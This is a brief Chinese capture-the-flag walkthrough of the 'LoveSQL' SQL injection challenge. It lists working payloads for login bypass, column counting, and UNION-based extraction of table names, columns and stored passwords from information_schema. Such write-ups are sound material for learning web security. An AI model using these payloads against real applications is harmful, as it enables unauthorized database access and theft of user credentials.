SQL注入题
极客大挑战2019-LoveSQL
1、
万能密码: ' or 1=1#
2、
查列数:' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#
' or 1=1 order by 4#
4的时候报错,所以有三列
3
查数据库:-1'union select 1,2,database()#
为什么这里不用万能密码了呢?因为不需要,井号已经把查询密码的注释掉了
前面的-1是干什么用的呢?因为我们看到它只能显示出两条数据,一个是用户名,一个是密码。所以这个-1就是让这个查不出来(也可以是其他的比如1),这个再union注入那里有写
至于为什么出来了2,而1没有出来,我也不太清楚
所以查出来数据库是geek
4、
查表-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
其实上一步查数据库是可以省略的,因为直接where table_schema=database()
即可
可以看到查到了两个表,geekuser,l0ve1ysq1
5、查字段-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
先看下l0ve1ysq1表,同理可得geekuser
可以看到有三个字段id,username,password
6、查数据-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1#
先查password的数据
也可以直接把三个字段数据全部爆出来-1'union select 1,2,group_concat(id,username,password) from geek.l0ve1ysq1#
flag直接出来了